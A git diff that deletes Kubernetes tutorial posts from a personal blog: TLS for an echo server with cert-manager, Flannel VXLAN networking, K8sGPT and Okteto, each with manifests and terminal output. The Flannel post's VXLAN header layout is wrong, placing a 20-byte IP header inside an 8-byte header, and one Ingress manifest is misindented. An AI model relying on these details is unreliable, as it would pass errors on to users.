-💡 After the addon is enabled, please run "minikube tunnel" and your ingress resources would be available at "127.0.0.1" - ▪ Using image registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20230312-helm-chart-4.5.2-28-g66a760794 - ▪ Using image registry.k8s.io/ingress-nginx/controller:v1.7.0 - ▪ Using image registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20230312-helm-chart-4.5.2-28-g66a760794 -🔎 Verifying ingress addon... -🌟 The 'ingress' addon is enabled - -``` -### Echo Server Setup with CA Signed Certificate - -``` -apiVersion: apps/v1 -kind: Deployment -metadata: - labels: - app: echo - name: echo - namespace: test -spec: - replicas: 1 - selector: - matchLabels: - app: echo - template: - metadata: - labels: - app: echo - spec: - containers: - - name: echo - image: fdeantoni/echo-server - imagePullPolicy: Always - ports: - - containerPort: 9000 - readinessProbe: - httpGet: - path: / - port: 9000 - initialDelaySeconds: 5 - periodSeconds: 5 - successThreshold: 1 ---- -apiVersion: v1 -kind: Service -metadata: - name: echo-service - namespace: test -spec: - selector: - app: echo - ports: - - name: http - protocol: TCP - port: 9000 - targetPort: 9000 ---- -apiVersion: networking.k8s.io/v1 -kind: Ingress -metadata: - name: echo-ingress - namespace: test - annotations: - cert-manager.io/issuer: test-ca-issuer -spec: - rules: - - http: - paths: - - path: /test - pathType: Prefix - backend: - service: - name: echo-service - port: - number: 9000 -tls: -- hosts: - - echo.info - secretName: echo-cert - -``` - -### deploy echo service - -``` -➜ minikube-certmanager git:(main) ✗ kubectl create -f echo-server.yaml -deployment.apps/echo created -service/echo-service created -``` -### start minikube tunnel -``` -➜ minikube-certmanager git:(main) ✗ minikube tunnel -✅ Tunnel successfully started - -📌 NOTE: Please do not close this terminal as this process must stay alive for the tunnel to be accessible ... -``` - -### echo service works with our CA signed certificate. -``` -➜ minikube-certmanager git:(main) ✗ curl --cacert <(kubectl -n test get secret echo-server-cert -o jsonpath='{.data.ca\.crt}' | base64 -d) https://echo.info/test -"source":"172.17.0.7:42246","method":"GET","headers":[["host","echo.info"],["x-request-id","6e0035387cfa6be8c53a3e03e73e9f23"],["x-real-ip","172.17.0.1"],["x-forwarded-for","172.17.0.1"],["x-forwarded-host","echo.info"],["x-forwarded-port","443"],["x-forwarded-proto","https"],["x-forwarded-scheme","https"],["x-scheme","https"],["user-agent","curl/7.79.1"],["accept","*/*"]],"path":"/test","server":"echo-6885c7cfdc-8phts"} -``` - -## source code - -{{< rawhtml >}} -
-
-{{< /rawhtml >}} - -Join [CloudNativeFolks Community](https://discord.gg/rEvr7vq) or Reach out to me on twitter [@sangamtwts](https://twitter.com/sangamtwts) diff --git a/content/en/blog/cloudflared/index.md b/content/en/blog/cloudflared/index.md deleted file mode 100644 index 11b6567..0000000 --- a/content/en/blog/cloudflared/index.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title : cloudflared tunnel on kubernetes -author : Sangam Biradar -categories : - - Kubernetes -weight : 10 -description : How to install cloudflared tunnel on kubernetes -draft : true -Date : 2023-02-17 -author : Sangam Biradar ---- - -## What is cloudflared tunnel? - -Cloudflare Tunnel is a reverse proxy that enables you to expose applications running on your local web server, on any network with an Internet connection, without adding DNS records or configuring a firewall or router. Cloudflare Tunnel establishes outbound connections to Cloudflare’s nearest data center and creates secure tunnels between the data center and a locally running web server. - -## How to install cloudflared tunnel on kubernetes? - -### Create a namespace - -```bash -kubectl create ns cloudflared -``` - -### Create a secret - -```bash - diff --git a/content/en/blog/flannel/VXLAN_Packet.png b/content/en/blog/flannel/VXLAN_Packet.png deleted file mode 100644 index d816c10..0000000 Binary files a/content/en/blog/flannel/VXLAN_Packet.png and /dev/null differ diff --git a/content/en/blog/flannel/busybox1.yaml b/content/en/blog/flannel/busybox1.yaml deleted file mode 100644 index 42b8b71..0000000 --- a/content/en/blog/flannel/busybox1.yaml +++ /dev/null @@ -1,11 +0,0 @@ -apiVersion: v1 -kind: Pod -metadata: - name: busybox1 - labels: - tier: linux -spec: - containers: - - name: busybox1 - image: busybox - command: ['sh', '-c', ' sleep 3600'] diff --git a/content/en/blog/flannel/busybox2.yaml b/content/en/blog/flannel/busybox2.yaml deleted file mode 100644 index ed83965..0000000 --- a/content/en/blog/flannel/busybox2.yaml +++ /dev/null @@ -1,11 +0,0 @@ -apiVersion: v1 -kind: Pod -metadata: - name: busybox2 - labels: - tier: linux -spec: - containers: - - name: busybox2 - image: busybox - command: ['sh', '-c', ' sleep 3600'] diff --git a/content/en/blog/flannel/busybox3.yaml b/content/en/blog/flannel/busybox3.yaml deleted file mode 100644 index 0cae656..0000000 --- a/content/en/blog/flannel/busybox3.yaml +++ /dev/null @@ -1,12 +0,0 @@ -apiVersion: v1 -kind: Pod -metadata: - name: busybox3 - labels: - tier: linux -spec: - nodeName: minikube - containers: - - name: busybox3 - image: busybox - command: ['sh', '-c', ' sleep 3600'] diff --git a/content/en/blog/flannel/flannel.png b/content/en/blog/flannel/flannel.png deleted file mode 100644 index 481fb61..0000000 Binary files a/content/en/blog/flannel/flannel.png and /dev/null differ diff --git a/content/en/blog/flannel/index.md b/content/en/blog/flannel/index.md deleted file mode 100644 index d78442c..0000000 --- a/content/en/blog/flannel/index.md +++ /dev/null @@ -1,264 +0,0 @@ ---- -title : Flannel is a network fabric for containers, designed for Kubernetes. -author : Sangam Biradar -categories : - - Kubernetes -weight : 10 -description : Flannel is a simple and easy way to configure a layer 3 network fabric designed for Kubernetes -draft : false -Date : 2023-02-17 -author : Sangam Biradar ---- - -{{< rawhtml >}} -
-
-{{< /rawhtml >}} - -### kubenetes networking - -![](./k8s-CNI-1.png) - - -### Networking details - -- Platforms like Kubernetes assume that each container (pod) has a unique, routable IP inside the cluster. The advantage of this model is that it removes the port mapping complexities that come from sharing a single host IP. - -- Flannel is responsible for providing a layer 3 IPv4 network between multiple nodes in a cluster. Flannel does not control how containers are networked to the host, only how the traffic is transported between hosts. However, flannel does provide a CNI plugin for Kubernetes and a guidance on integrating with Docker. Flannel is focused on networking - -- Flannel is a network overlay for Kubernetes. It provides a way for pods to communicate with each other even if they are not on the same host. Flannel is a simple and lightweight network overlay that is easy to install and configure. - -- Flannel works by creating a virtual network on top of the physical network. This virtual network is made up of tunnels that connect the pods. The tunnels are created using the VXLAN protocol. - -- When a pod sends a packet to another pod, the packet is encapsulated in a VXLAN header and sent to the tunnel that connects the two pods. The tunnel then decapsulates the packet and sends it to the destination pod. - -- Flannel is a layer 3 network, which means that it supports routing between pods. This is in contrast to some other network overlays, such as Docker Swarm, which are layer 2 networks. - -- Flannel does not control how containers are networked to the host. This is the responsibility of the host's operating system. Flannel only controls how traffic is transported between hosts. - -- Flannel provides a CNI plugin for Kubernetes. This plugin makes it easy to install and configure Flannel with Kubernetes. Flannel also provides guidance on integrating with Docker. - -#### Here are some of the benefits of using Flannel: - -- It is a simple and lightweight network overlay. -- It is easy to install and configure. -- It does not require any additional infrastructure. -- It is a good choice for small and medium-sized Kubernetes clusters. -- It supports routing between pods. -- It is compatible with Kubernetes and Docker. - -### Flannel Overlay Network - -To achieve kubernetes' network requirements, flannel’s idea is simple: create another flat network which runs above the host network, this is the so-called overlay network. All containers(Pod) will be assigned one ip address in this overlay network, they communicate with each other by calling each other’s ip address directly. - -![](./k8s-CNI-2.png) - - -### minikube start - -``` - ~ minikube start -😄 minikube v1.30.1 on Darwin 13.3.1 (arm64) -✨ Using the docker driver based on existing profile -👍 Starting control plane node minikube in cluster minikube -🚜 Pulling base image ... -🔄 Restarting existing docker container for "minikube" ... -❗ Image was not built for the current minikube version. To resolve this you can delete and recreate your minikube cluster using the latest images. Expected minikube version: v1.29.0 -> Actual minikube version: v1.30.1 -🐳 Preparing Kubernetes v1.26.3 on Docker 23.0.2 ... -🔗 Configuring bridge CNI (Container Networking Interface) ... -🔎 Verifying Kubernetes components... - ▪ Using image gcr.io/k8s-minikube/storage-provisioner:v5 -💡 After the addon is enabled, please run "minikube tunnel" and your ingress resources would be available at "127.0.0.1" - ▪ Using image registry.k8s.io/ingress-nginx/controller:v1.7.0 - ▪ Using image registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20230312-helm-chart-4.5.2-28-g66a760794 - ▪ Using image registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20230312-helm-chart-4.5.2-28-g66a760794 -🔎 Verifying ingress addon... -🌟 Enabled addons: storage-provisioner, default-storageclass, ingress -🏄 Done! kubectl is now configured to use "minikube" cluster and "default" namespace by default -``` - -### Install Flannel on Minikube - -``` - ~ kubectl apply -f https://github.com/flannel-io/flannel/releases/latest/download/kube-flannel.yml -namespace/kube-flannel created -serviceaccount/flannel created -clusterrole.rbac.authorization.k8s.io/flannel created -clusterrolebinding.rbac.authorization.k8s.io/flannel created -configmap/kube-flannel-cfg created -daemonset.apps/kube-flannel-ds created -``` - -### Minikube provide option to select CNI Plugins -``` ---cni='': - CNI plug-in to use. Valid options: auto, bridge, calico, cilium, flannel, kindnet, or path - to a CNI manifest (default: auto) -``` -- while starting minikube define cni flag -``` - minikube start --cni=flannel -😄 minikube v1.30.1 on Darwin 13.3.1 (arm64) -✨ Automatically selected the docker driver. Other choices: qemu2, virtualbox, ssh -📌 Using Docker Desktop driver with root privileges -👍 Starting control plane node minikube in cluster minikube -🚜 Pulling base image ... - > gcr.io/k8s-minikube/kicbase...: 336.39 MiB / 336.39 MiB 100.00% 4.83 Mi -🔥 Creating docker container (CPUs=4, Memory=8192MB) ... -🐳 Preparing Kubernetes v1.26.3 on Docker 23.0.2 ... - ▪ Generating certificates and keys ... - ▪ Booting up control plane ... - ▪ Configuring RBAC rules ... -🔗 Configuring Flannel (Container Networking Interface) ... - ▪ Using image gcr.io/k8s-minikube/storage-provisioner:v5 -🔎 Verifying Kubernetes components... -🌟 Enabled addons: storage-provisioner, default-storageclass -🏄 Done! kubectl is now configured to use "minikube" cluster and "default" namespace by default -``` -### add another working node - -``` -➜ sangam14.github.io git:(main) ✗ minikube node add -😄 Adding node m02 to cluster minikube -❗ Cluster was created without any CNI, adding a node to it might cause broken networking. -👍 Starting worker node minikube-m02 in cluster minikube -🚜 Pulling base image ... -🔥 Creating docker container (CPUs=4, Memory=8192MB) ... -🐳 Preparing Kubernetes v1.26.3 on Docker 23.0.2 ... -🔎 Verifying Kubernetes components... -🏄 Successfully added m02 to minikube! -``` -### Minikube Node list - -``` - ~ minikube node list -minikube 192.168.49.2 -minikube-m02 192.168.49.3 - -``` - -### Minikube create namespace kube-flannel - -``` -kubectl get pods -n kube-flannel -NAME READY STATUS RESTARTS AGE -kube-flannel-ds-48tbz 1/1 Running 0 21m -kube-flannel-ds-ltg88 1/1 Running 0 8m52s -``` - -#### create 2 busybox pod - -``` -kubectl create -f busybox1.yaml -kubectl create -f busybox2.yaml -``` -### get pods -``` -flannel git:(main) ✗ kubectl get pods -NAME READY STATUS RESTARTS AGE -busybox1 1/1 Running 0 31s -busybox2 1/1 Running 0 45s -``` -### get more details around this pods -``` -kubectl get pods -o wide -``` -### The subnet of eth0 should match the CNI subnet -``` -flannel git:(main) ✗ kubectl exec --stdin --tty busybox1 -- ifconfig -eth0 Link encap:Ethernet HWaddr 52:3B:44:60:37:EB - inet addr:10.244.1.3 Bcast:10.244.1.255 Mask:255.255.255.0 - UP BROADCAST RUNNING MULTICAST MTU:65485 Metric:1 - RX packets:0 errors:0 dropped:0 overruns:0 frame:0 - TX packets:1 errors:0 dropped:0 overruns:0 carrier:0 - collisions:0 txqueuelen:0 - RX bytes:0 (0.0 B) TX bytes:42 (42.0 B) - -lo Link encap:Local Loopback - inet addr:127.0.0.1 Mask:255.0.0.0 - UP LOOPBACK RUNNING MTU:65536 Metric:1 - RX packets:0 errors:0 dropped:0 overruns:0 frame:0 - TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 - collisions:0 txqueuelen:1000 - RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) - -➜ flannel git:(main) ✗ kubectl exec --stdin --tty busybox2 -- ifconfig -eth0 Link encap:Ethernet HWaddr 5E:FA:9B:2F:A1:69 - inet addr:10.244.1.2 Bcast:10.244.1.255 Mask:255.255.255.0 - UP BROADCAST RUNNING MULTICAST MTU:65485 Metric:1 - RX packets:0 errors:0 dropped:0 overruns:0 frame:0 - TX packets:1 errors:0 dropped:0 overruns:0 carrier:0 - collisions:0 txqueuelen:0 - RX bytes:0 (0.0 B) TX bytes:42 (42.0 B) - -lo Link encap:Local Loopback - inet addr:127.0.0.1 Mask:255.0.0.0 - UP LOOPBACK RUNNING MTU:65536 Metric:1 - RX packets:0 errors:0 dropped:0 overruns:0 frame:0 - TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 - collisions:0 txqueuelen:1000 - RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) - -``` - -#### We should be able to ping between PoDs. - -``` - flannel git:(main) ✗ kubectl exec --stdin --tty busybox1 -- ping 10.244.1.2 -PING 10.244.1.2 (10.244.1.2): 56 data bytes -64 bytes from 10.244.1.2: seq=0 ttl=64 time=0.326 ms -64 bytes from 10.244.1.2: seq=1 ttl=64 time=0.086 ms -64 bytes from 10.244.1.2: seq=2 ttl=64 time=0.097 ms -64 bytes from 10.244.1.2: seq=3 ttl=64 time=0.106 ms -64 bytes from 10.244.1.2: seq=4 ttl=64 time=0.103 ms -64 bytes from 10.244.1.2: seq=5 ttl=64 time=0.071 ms -^C - -``` - -### PoDs in the host network of a node can communicate with all pods on all nodes without NAT - - -``` -➜ flannel git:(main) ✗ kubectl create -f busybox3.yaml -pod/busybox3 created -➜ flannel git:(main) ✗ kubectl get pods -o wide -NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES -busybox1 1/1 Running 5 (11m ago) 23h 10.244.1.3 minikube-m02 -busybox2 1/1 Running 5 (12m ago) 23h 10.244.1.2 minikube-m02 -busybox3 1/1 Running 0 20s 10.244.0.3 minikube -``` -Now starting a ping from this new PoD busybox 3 (in minikube node ) to busybox1 (in minikube-m02 ). - -``` - flannel git:(main) ✗ kubectl exec --stdin --tty busybox3 -- ping 10.244.1.3 -PING 10.244.1.3 (10.244.1.3): 56 data bytes -64 bytes from 10.244.1.3: seq=0 ttl=62 time=0.703 ms -64 bytes from 10.244.1.3: seq=1 ttl=62 time=0.198 ms -64 bytes from 10.244.1.3: seq=2 ttl=62 time=0.169 ms -64 bytes from 10.244.1.3: seq=3 ttl=62 time=0.159 ms -64 bytes from 10.244.1.3: seq=4 ttl=62 time=0.160 ms -64 bytes from 10.244.1.3: seq=5 ttl=62 time=0.125 ms -64 bytes from 10.244.1.3: seq=6 ttl=62 time=0.156 ms -64 bytes from 10.244.1.3: seq=7 ttl=62 time=0.179 ms -^C -``` -This works as expected. This is possible due to VxLAN implementation in flannel. -The VxLAN header is 8 bytes long and has the following format: - -24-bit VNID (Virtual Network Identifier): This field identifies the VxLAN network that the packet belongs to. -8-bit Flags: This field contains a few flags that control how the packet is processed. -24-bit Reserved: This field is reserved for future use. -20-byte Outer IP Header: This field contains the IP header of the encapsulated packet. -The VxLAN header is encapsulated in a UDP packet, which is then sent over the L3 routed infrastructure. The destination UDP port for VxLAN packets is 4789. - -When a VxLAN packet arrives at a VTEP, the VTEP decapsulates the packet and forwards the encapsulated packet to the destination host. - -VxLAN is a popular network virtualization technology that is used to create overlay networks over L3 routed infrastructures. VxLAN is a good choice for network virtualization because it is scalable, efficient, and easy to manage. - -![](./VXLAN_Packet.png) - - -Join [CloudNativeFolks Community](https://discord.gg/rEvr7vq) or Reach out to me on twitter [@sangamtwts](https://twitter.com/sangamtwts) - - diff --git a/content/en/blog/flannel/k8s-CNI-1.png b/content/en/blog/flannel/k8s-CNI-1.png deleted file mode 100644 index 4657a3c..0000000 Binary files a/content/en/blog/flannel/k8s-CNI-1.png and /dev/null differ diff --git a/content/en/blog/flannel/k8s-CNI-2.png b/content/en/blog/flannel/k8s-CNI-2.png deleted file mode 100644 index 3454137..0000000 Binary files a/content/en/blog/flannel/k8s-CNI-2.png and /dev/null differ diff --git a/content/en/blog/k8sgpt/index.md b/content/en/blog/k8sgpt/index.md deleted file mode 100644 index 7de0ad5..0000000 --- a/content/en/blog/k8sgpt/index.md +++ /dev/null @@ -1,214 +0,0 @@ ---- -title : K8sgpt - Chatgpt base SRE -author : Sangam Biradar -categories : - - Kubernetes -weight : 30 -description : k8sgpt chat gpt for trubleshooting -draft : true -Date : 2023-02-15 -author : Sangam Biradar ---- - - -### Install k8sgpt ai - -``` - ~ brew tap k8sgpt-ai/k8sgpt -==> Tapping k8sgpt-ai/k8sgpt -Cloning into '/opt/homebrew/Library/Taps/k8sgpt-ai/homebrew-k8sgpt'... -remote: Enumerating objects: 86, done. -remote: Counting objects: 100% (86/86), done. -remote: Compressing objects: 100% (85/85), done. -remote: Total 86 (delta 51), reused 2 (delta 0), pack-reused 0 -Receiving objects: 100% (86/86), 18.77 KiB | 6.26 MiB/s, done. -Resolving deltas: 100% (51/51), done. -Tapped 1 formula (14 files, 37.8KB). -➜ ~ brew install k8sgpt -==> Fetching k8sgpt-ai/k8sgpt/k8sgpt -==> Downloading https://github.com/k8sgpt-ai/k8sgpt/releases/download/v0.3.0/k8sgpt_Darwin_arm64.tar.gz -==> Downloading from https://objects.githubusercontent.com/github-production-release-asset-2e65be/617152691/d9f59995-7f6 -################################################################################################################# 100.0% -==> Installing k8sgpt from k8sgpt-ai/k8sgpt -🍺 /opt/homebrew/Cellar/k8sgpt/0.3.0: 6 files, 55.5MB, built in 1 second -==> Running `brew cleanup k8sgpt`... - -``` - -### K8s filters list - -``` -k8sgpt filters list -Active: -> Pod -> PersistentVolumeClaim -> StatefulSet -> CronJob -> Deployment -> ReplicaSet -> Service -> Ingress -> Node -Unused: -> NetworkPolicy -> HorizontalPodAutoScaler -> PodDisruptionBudget - -``` - -### How K8sGPT works ? - -K8sGPT uses analyzers to triage and diagnose issues in your cluster. It has a set of analyzers that are built in, but you will be able to write your own analyzers. - -Built in analyzers - -Enabled by default - -- podAnalyzer - https://github.com/k8sgpt-ai/k8sgpt/blob/main/pkg/analyzer/pod.go - - search all namespaces for pods that are not running - - Check through container status to check for crashes or unready - - a container that is still being created or blocked due to conditions such as OOMKilled - - when pod is Running but its ReadinessProbe fails - -- pvcAnalyzer - - PersistentVolumeClaim.ObjectMeta - - Error: value.FailureDetails -- rsAnalyzer - - Status of replicaset - - type of event - - reason of failure - - ``` - Events: - Type Reason Age From Message - ---- ------ ---- ---- ------- - Normal SuccessfulCreate 117s replicaset-controller Created pod: frontend-wtsmm - Normal SuccessfulCreate 116s replicaset-controller Created pod: frontend-b2zdv - Normal SuccessfulCreate 116s replicaset-controller Created pod: frontend-vcmts - ``` -- serviceAnalyzer - - Service existed or not - - Service has not ready endpoints -- eventAnalyzer - - the function loops through the list of events to find the most recent one. It initializes a pointer to the latest event as nil, and then compares each event's LastTimestamp field to the current latest event's LastTimestamp. If the current event has a later LastTimestamp, the function updates the latestEvent pointer to point to that event instead. - - - Finally, the function returns a pointer to the latest event found, or an error if there was a problem fetching the events from the Kubernetes API. - - - Overall, this function is useful for retrieving the most recent event associated with a Kubernetes object, which can be helpful in monitoring and troubleshooting the state of Kubernetes resources. - -- ingressAnalyzer - - checks if the Ingress is using TLS encryption and extracts the list of hostnames associated with the Ingress. - - implementation is specifically responsible for extracting and organizing relevant information from Kubernetes Ingress resources to generate descriptions about them. -- statefulSetAnalyzer - - check StatefulSet uses the service namespace and servicename which does not exist - - The volumeClaimTemplates will provide stable storage using PersistentVolumes provisioned by a PersistentVolume Provisioner. - -- deploymentAnalyzer - - DeploymentAnalyzer is an analyzer that checks for misconfigured Deployments from all namespaces -- cronJobAnalyzer - - Check CRON schedule format -- networkPolicyAnalyzer - - Check if policy allows traffic to all pods in the namespace - - Check if policy is not applied to any pods -- nodeAnalyzer - -> Conditions - -The conditions field describes the status of all Running nodes. Examples of conditions include: - -| Node Condition | Description | -| ---------------|-------------- | -| Ready | True if the node is healthy and ready to accept pods, False if the node is not healthy and is not accepting pods, and Unknown if the node controller has not heard from the node in the last node-monitor-grace-period (default is 40 seconds) | -| DiskPressure | True if pressure exists on the disk size—that is, if the disk capacity is low; otherwise False | -| MemoryPressure | True if pressure exists on the node memory—that is, if the node memory is low; otherwise False | -| PIDPressure | True if pressure exists on the processes—that is, if there are too many processes on the node; otherwise False | -NetworkUnavailable | True if the network for the node is not correctly configured, otherwise False | - - - - - In the Kubernetes API, a node's condition is represented as part of the .status of the Node resource. For example, the following JSON structure describes a healthy node: - -``` - "conditions": [ - { - "type": "Ready", - "status": "True", - "reason": "KubeletReady", - "message": "kubelet is posting ready status", - "lastHeartbeatTime": "2023-06-05T18:38:35Z", - "lastTransitionTime": "2023-06-05T11:41:27Z" - } -] - -``` - - -### start minikube - -``` -➜ ~ minikube start -😄 minikube v1.30.0 on Darwin 13.3.1 (arm64) -🎉 minikube 1.30.1 is available! Download it: https://github.com/kubernetes/minikube/releases/tag/v1.30.1 -💡 To disable this notice, run: 'minikube config set WantUpdateNotification false' - -✨ Using the docker driver based on existing profile -👍 Starting control plane node minikube in cluster minikube -🚜 Pulling base image ... -🔄 Restarting existing docker container for "minikube" ... -❗ Image was not built for the current minikube version. To resolve this you can delete and recreate your minikube cluster using the latest images. Expected minikube version: v1.29.0 -> Actual minikube version: v1.30.0 -🐳 Preparing Kubernetes v1.26.3 on Docker 23.0.2 ... -🔗 Configuring bridge CNI (Container Networking Interface) ... -🔎 Verifying Kubernetes components... -💡 After the addon is enabled, please run "minikube tunnel" and your ingress resources would be available at "127.0.0.1" - ▪ Using image gcr.io/k8s-minikube/storage-provisioner:v5 - ▪ Using image registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20230312-helm-chart-4.5.2-28-g66a760794 - ▪ Using image registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20230312-helm-chart-4.5.2-28-g66a760794 - ▪ Using image registry.k8s.io/ingress-nginx/controller:v1.7.0 -🔎 Verifying ingress addon... -🌟 Enabled addons: storage-provisioner, default-storageclass, ingress -🏄 Done! kubectl is now configured to use "minikube" cluster and "default" namespace by default -➜ ~ - -``` - -### deploy simple guestbook app - -``` -➜ kubectl run nginx --image=nginx:5.0.0 --restart=Never - -pod/nginx created - - -``` - -``` -~ k8sgpt analyze -Service kube-system/k8s.io-minikube-hostpath does not exist - -0 default/nginx(nginx) -- Error: Back-off pulling image "nginx:5.0.0" - -``` - - -K8sGPT is a tool for scanning your Kubernetes clusters, diagnosing and triaging issues in simple English. It has SRE experience codified into it's analyzers and helps to pull out the most relevant information to enrich it with AI. - -> Here are some of the features of K8sGPT: - -- Scans your Kubernetes clusters for common problems and issues. -Diagnoses and triages issues in simple English. -- Helps to pull out the most relevant information to enrich it with AI. -Is constantly being updated to keep up with the latest Kubernetes releases. -K8sGPT is a valuable tool for any Kubernetes administrator or developer. It can help you to identify and resolve issues quickly and easily, and it can help you to improve the performance and reliability of your Kubernetes clusters. - -> Here are some of the benefits of using K8sGPT: - -- Increased uptime and reliability: K8sGPT can help you to identify and resolve issues quickly and easily, which can help to increase the uptime and reliability of your Kubernetes clusters. -- Improved performance: K8sGPT can help you to identify and optimize performance bottlenecks, which can help to improve the performance of your Kubernetes clusters. -Reduced costs: K8sGPT can help you to reduce the cost of operating your Kubernetes clusters by identifying and eliminating unnecessary resources. -- If you are a Kubernetes administrator or developer, I encourage you to try K8sGPT. It is a valuable tool that can help you to improve the performance, reliability, and security of your Kubernetes clusters. - - - - diff --git a/content/en/blog/okteto/2048-k8s.png b/content/en/blog/okteto/2048-k8s.png deleted file mode 100644 index 22a7144..0000000 Binary files a/content/en/blog/okteto/2048-k8s.png and /dev/null differ diff --git a/content/en/blog/okteto/index.md b/content/en/blog/okteto/index.md deleted file mode 100644 index 298a4da..0000000 --- a/content/en/blog/okteto/index.md +++ /dev/null @@ -1,425 +0,0 @@ ---- -title : Okteto Develop your applications directly in your Kubernetes Cluster -author : Sangam Biradar -categories : - - Kubernetes -weight : 50 -description : Reduce Inner Loop focus on Developing Application -draft : false -Date : 2023-02-18 -author : Sangam Biradar ---- - - -{{< rawhtml >}} -
-{{< /rawhtml >}} - -### Getting started with Oketo CLI - -- Macos/Linux - -```bash - -➜ curl https://get.okteto.com -sSfL | sh -> Using Release Channel: stable -> Using Version: 2.14.0 -> Downloading https://downloads.okteto.com/cli/stable/2.14.0/okteto-Darwin-arm64 - % Total % Received % Xferd Average Speed Time Time Time Current - Dload Upload Total Spent Left Speed -100 74.8M 100 74.8M 0 0 20.0M 0 0:00:03 0:00:03 --:--:-- 20.0M - -``` - -### Login into Okteto Cloud via Github Account - -![](./okteto-login.png) - - -### Configuring Okteto CLI with Okteto Cloud - -```bash - -➜ okteto context -A context defines the default cluster/namespace for any Okteto CLI command. -Select the context you want to use: -Use the arrow keys to navigate: ↓ ↑ → ← - ▸ https://cloud.okteto.com (Okteto Cloud) * - docker-desktop - minikube - multinode-pod-security - - Create new context -``` -Or use directly - -```bash -➜ okteto context use https://cloud.okteto.com - ✓ Using sangam14 @ cloud.okteto.com -``` - -2048 folder contain source code for 2048 - -```Dockerfile -FROM nginx - -COPY 2048 /usr/share/nginx/html - -EXPOSE 80 - -CMD ["nginx", "-g", "daemon off;"] -``` - -```Docker-Compose.yml -services: - game: - build: ./ - expose: - - 8080:80 -``` -### Deploy Docker Compose on Okteto Cloud - -okteto use [compose-spec](https://github.com/compose-spec/compose-spec) also its convert docker compose to kubernetes Manifest - -here is more about docker compose on okteto (https://www.okteto.com/docs/reference/compose/) - -```bash -okteto deploy --build - i Using sangam14 @ cloud.okteto.com as context - i Building 'Dockerfile' in tcp://buildkit.cloud.okteto.net:443... -[+] Building 7.8s (7/7) FINISHED - => [internal] load build definition from buildkit-3366967893 0.9s - => => transferring dockerfile: 137B 0.8s - => [internal] load .dockerignore 0.7s - => => transferring context: 2B 0.6s - => [internal] load metadata for docker.io/library/nginx:latest 1.1s - => [internal] load build context 2.5s - => => transferring context: 603.29kB 2.5s - => CACHED [1/2] FROM docker.io/library/nginx@sha256:2ab30d6ac53580a6db8b657abf0f68d75360ff5cc1670a85acb5bd85ba1b19 0.0s - => => resolve docker.io/library/nginx@sha256:2ab30d6ac53580a6db8b657abf0f68d75360ff5cc1670a85acb5bd85ba1b19c0 0.0s - => [2/2] COPY 2048 /usr/share/nginx/html 0.3s - => exporting to image 2.5s - => => exporting layers 0.1s - => => exporting manifest sha256:79f1385595d70b82b4b5db52f5edddb1f4a06c79ded928926d48bb947a5322b6 0.0s - => => exporting config sha256:ecf1dac7fbfaa6cdcb88dd2bbc616edbbc96459b078f15199fe3ddd564c481de 0.0s - => => pushing layers 1.6s - => => pushing manifest for registry.cloud.okteto.net/sangam14/okteto-2048-game:okteto@sha256:79f1385595d70b82b4b5d 0.8s - ✓ Image 'registry.cloud.okteto.net/sangam14/okteto-2048-game:okteto' successfully pushed - ✓ Kubernetes service 'game' created - ✓ Endpoint 'game' created - ✓ Service 'game' created - ✓ Compose 'Okteto-2048' successfully deployed - ✓ Development environment 'Okteto-2048' successfully deployed - i Run 'okteto up' to activate your development container - -``` - -### Check it out Okteto Cloud - -Okteto basically use technic all - -![](./okteto-UI.png) - - -### Check it out enpoints - -you will see application running - -![](./okteto-2048-game.png) - -### lets same app using kubernetes - -okteto also provide capablities to build docker images remotely its means without installing docker you can now build docker images . - -```bash - -➜ okteto build -t sangam14/okteto-2048-game:okteto . - i Building 'Dockerfile' in tcp://buildkit.cloud.okteto.net:443... -[+] Building 5.9s (8/8) FINISHED - => [internal] load build definition from buildkit-3724659360 1.5s - => => transferring dockerfile: 180B 1.5s - => [internal] load .dockerignore 0.9s - => => transferring context: 2B 0.8s - => [internal] load metadata for docker.io/library/nginx:latest 0.9s - => CACHED [1/3] FROM docker.io/library/nginx@sha256:2ab30d6ac53580a6db8b657abf0f68d75360ff5cc1670a85acb5bd85ba1b19 0.0s - => => resolve docker.io/library/nginx@sha256:2ab30d6ac53580a6db8b657abf0f68d75360ff5cc1670a85acb5bd85ba1b19c0 0.0s - => [internal] load build context 0.9s - => => transferring context: 4.66kB 0.5s - => [2/3] RUN chmod +x /usr/sbin/nginx 0.9s - => [3/3] COPY 2048 /usr/share/nginx/html 0.3s - => exporting to image 2.1s - => => exporting layers 0.3s - => => exporting manifest sha256:ad9bdd97413eddbcd25fe2d1c55992796848a314e33165235a307726dcadaf8a 0.0s - => => exporting config sha256:2f2ffc174a087bf9653029ec247279885a59e77887a259e592761ed4b06a3959 0.0s - => => pushing layers 1.5s - => => pushing manifest for docker.io/sangam14/okteto-2048-game:okteto@sha256:ad9bdd97413eddbcd25fe2d1c55992796848a 0.3s - ✓ Image 'sangam14/okteto-2048-game:okteto' successfully pushed - -``` - -### Okteto Support Kubernetes , Kustomize also Helm charts - -```yaml -apiVersion: apps/v1 -kind: Deployment -metadata: - name: nginx-deployment -spec: - selector: - matchLabels: - app: nginx - replicas: 2 - template: - metadata: - labels: - app: nginx - spec: - containers: - - name: nginx - image: docker.io/sangam14/okteto-2048-game:okteto - ports: - - containerPort: 80 ---- -apiVersion: v1 -kind: Service -metadata: - name: nginx-service - labels: - app: nginx -spec: - type: NodePort - ports: - - port: 8080 - targetPort: 80 - nodePort: 8080 - protocol: TCP - selector: - app: nginx - - -``` - -### Deploy Ngnix 2048 game app - -```bash -➜ Okteto-2048 git:(main) ✗ kubectl apply -f 2048.yaml -deployment.apps/nginx-deployment unchanged -service/nginx-service configured -➜ Okteto-2048 git:(main) ✗ kubectl apply -f 2048.yaml -deployment.apps/nginx-deployment configured -service/nginx-service configured -``` - -### check it out endpoint - -https://nginx-service-sangam14.cloud.okteto.net - -![](./2048-k8s.png) - - -### Automate Inner loops -okteto manefist allow developer to execute as workflow as well as its -``` -build: - nginx-deployment: - image: 